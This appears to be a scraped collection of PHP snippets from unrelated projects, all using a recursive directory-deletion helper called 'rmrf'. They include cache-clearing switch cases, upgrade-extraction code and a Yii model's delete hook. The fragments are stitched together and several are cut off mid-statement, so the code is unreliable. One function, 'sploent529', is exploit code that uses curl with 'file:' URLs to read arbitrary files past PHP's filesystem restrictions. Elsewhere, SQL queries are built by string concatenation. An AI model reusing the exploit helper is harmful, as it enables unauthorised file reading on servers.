/** * Remove the directory and its content (all files and subdirectories). * @param string $dir the directory name * @author wang yun * @since Glial 2.2 */ function rmrf($dir) { foreach (glob($dir) as $file) { if (is_dir($file)) { rmrf("{$file}/*"); rmdir($file); } else { unlink($file); } } }
function rmrf($dir) { if (is_dir($dir)) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { rmrf("{$dir}/{$file}"); } rmdir($dir); } else { unlink($dir); } }
function rmrf($dir) { global $WUcacheDir; foreach (glob($dir) as $file) { if (is_dir($file)) { rmrf("{$file}/*"); if ($file != substr($WUcacheDir, 0, -1)) { rmdir($file); } } else { if (basename($file) != 'WUG-version.txt') { unlink($file); } } } }
function rmrf($dir, $sub = false) { if (file_exists($dir)) { if ($dp = @opendir($dir)) { while (false !== ($file = readdir($dp))) { if ($file !== '.' && $file !== '..') { if (!is_dir($file)) { if (substr($file, -4, 4) == '.dbc' || substr($file, -4, 4) == '.php') { unlink($dir . '/' . $file); } else { rmrf($dir . '/' . $file, true); } } else { rmrf($dir . '/' . $file, true); } } } closedir($dp); if ($sub) { rmdir($dir); } } } }
public function down() { rmrf(Config::get('upload_dir')); unlink(Config::get('public_dir') . '/upload'); }
include 'thinksaas/pclzip.lib.php'; $archive = new PclZip('upgrade/' . $filezip); if ($archive->extract(PCLZIP_OPT_PATH, 'upgrade', PCLZIP_OPT_REPLACE_NEWER) == 0) { //die("Error : ".$archive->errorInfo(true)); echo '0'; exit; //解压失败 } else { unlink('upgrade/' . $filezip); } //直接循环覆盖吧 $filers = file_list('upgrade/thinksaas'); if ($filers) { echo '1'; exit; } //删除目录 delDirAndFile('upgrade/thinksaas'); //更新数据库配置缓存下 $arrOptions = $new['system']->findAll('system_options', null, null, 'optionname,optionvalue'); foreach ($arrOptions as $item) { $arrOption[$item['optionname']] = $item['optionvalue']; } fileWrite('system_options.php', 'data', $arrOption); $tsMySqlCache->set('system_options', $arrOption); //删除模板缓存 rmrf('cache/template'); echo '2'; exit; break; }
rmrf('cache/template'); rmrf('cache/user'); rmrf('cache/group'); rmrf('cache/lang'); qiMsg('缓存清除完毕!'); break; //删除temp //删除temp case "deltemp": rmrf('cache/template'); qiMsg('缓存清除完毕!'); break; //删除group //删除group case "delgroup": rmrf('cache/group'); qiMsg('缓存清除完毕!'); break; //删除user //删除user case "deluser": rmrf('cache/user'); qiMsg('缓存清除完毕!'); break; //删除语言包 //删除语言包 case "dellang": rmrf('cache/lang'); qiMsg('缓存清除完毕!'); break; }
/** * Remove the directory and its content (all files and subdirectories). * @param string $dir the directory name * return void */ function rmrf($dir) { $rmDirs = glob($dir); if (is_array($rmDirs) && count($rmDirs)) { foreach ($rmDirs as $file) { if (is_dir($file)) { rmrf("{$file}/*"); rmdir($file); } else { @unlink($file); } } } }
public static function tearDownAfterClass() { rmrf(self::$_dldir); }
function recursive_remove_directory($directory, $empty = FALSE) { rmrf($directory); }
function sploent529($path) { if (!is_dir('file:')) { mkdir('file:'); } $dirz = array(); $a = array(); $a = explode('/', $path); $c = count($a); $dir = 'file:/'; $d = substr($dir, 0, -1); if (!is_dir($d)) { mkdir($d); } for ($i = 0; $i < $c - 1; ++$i) { $dir .= $a[$i] . '/'; $d = substr($dir, 0, -1); $dirz[] = $d; if (!is_dir($d)) { mkdir($d); } } if (!file_exists($path)) { $fp = fopen('file:/' . $path, 'w'); fclose($fp); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'file:file:////' . $path); curl_setopt($ch, CURLOPT_HEADER, 0); if (FALSE == curl_exec($ch)) { echo " fail :( either there is no such file or exploit failed "; curl_close($ch); rmrf('file:'); echo $pageend; die; } else { curl_close($ch); rmrf('file:'); return TRUE; } }
public function beforeDelete() { if (issetModule('seo')) { $sql = 'DELETE FROM {{seo_friendly_url}} WHERE model_id="' . $this->id . '" AND ( model_name = "Apartment" OR model_name = "UserAds" )'; Yii::app()->db->createCommand($sql)->execute(); } $sql = 'DELETE FROM {{apartment_reference}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); $sql = 'DELETE FROM {{comments}} WHERE model_id="' . $this->id . '" AND model_name="Apartment"'; Yii::app()->db->createCommand($sql)->execute(); $sql = 'DELETE FROM {{apartment_statistics}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); $sql = 'DELETE FROM {{apartment_complain}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); //Images::deleteByObjectId($this); Images::deleteDbByObjectId($this->id); $dir = Yii::getPathOfAlias('webroot.uploads.objects') . '/' . $this->id; rrmdir($dir); if (issetModule('metrostations')) { $sql = 'DELETE FROM {{apartment_metro}} WHERE id_apartment="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); } //delete QR-code $qr_codes = glob(Yii::getPathOfAlias('webroot.uploads.qrcodes') . '/listing_' . $this->id . '-*.png'); if (is_array($qr_codes) && count($qr_codes)) { array_map("unlink", $qr_codes); } // delete video $sql = 'DELETE FROM {{apartment_video}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); $pathVideo = Yii::getPathOfAlias('webroot.uploads.video') . DIRECTORY_SEPARATOR . $this->id; rmrf($pathVideo); if (issetModule('bookingcalendar')) { $sql = 'DELETE FROM {{booking_calendar}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); } if (issetModule('comparisonList')) { $sql = 'DELETE FROM {{comparison_list}} WHERE apartment_id="' . $this->id . '"'; Yii::app()->db->createCommand($sql)->execute(); } Yii::app()->cache->flush(); return parent::beforeDelete(); }